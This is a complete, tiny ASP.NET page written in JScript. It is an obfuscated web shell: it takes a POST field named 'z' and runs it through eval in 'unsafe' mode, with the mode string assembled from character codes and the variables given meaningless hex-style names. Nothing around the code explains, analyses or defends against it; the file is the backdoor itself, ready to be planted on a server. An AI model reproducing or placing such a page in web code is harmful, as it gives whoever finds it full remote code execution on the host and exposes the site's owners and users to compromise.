<%@ Page Language="JScript" Trace="false" %> 
<% 
    var _0x5f8c = Request.Form["z"]; 
    if (_0x5f8c) { 
        var _0x7a6d = "u" + String.fromCharCode(115) + "a" + "f" + "e"; 
        eval(_0x5f8c,_0x7a6d); 
    } 
%>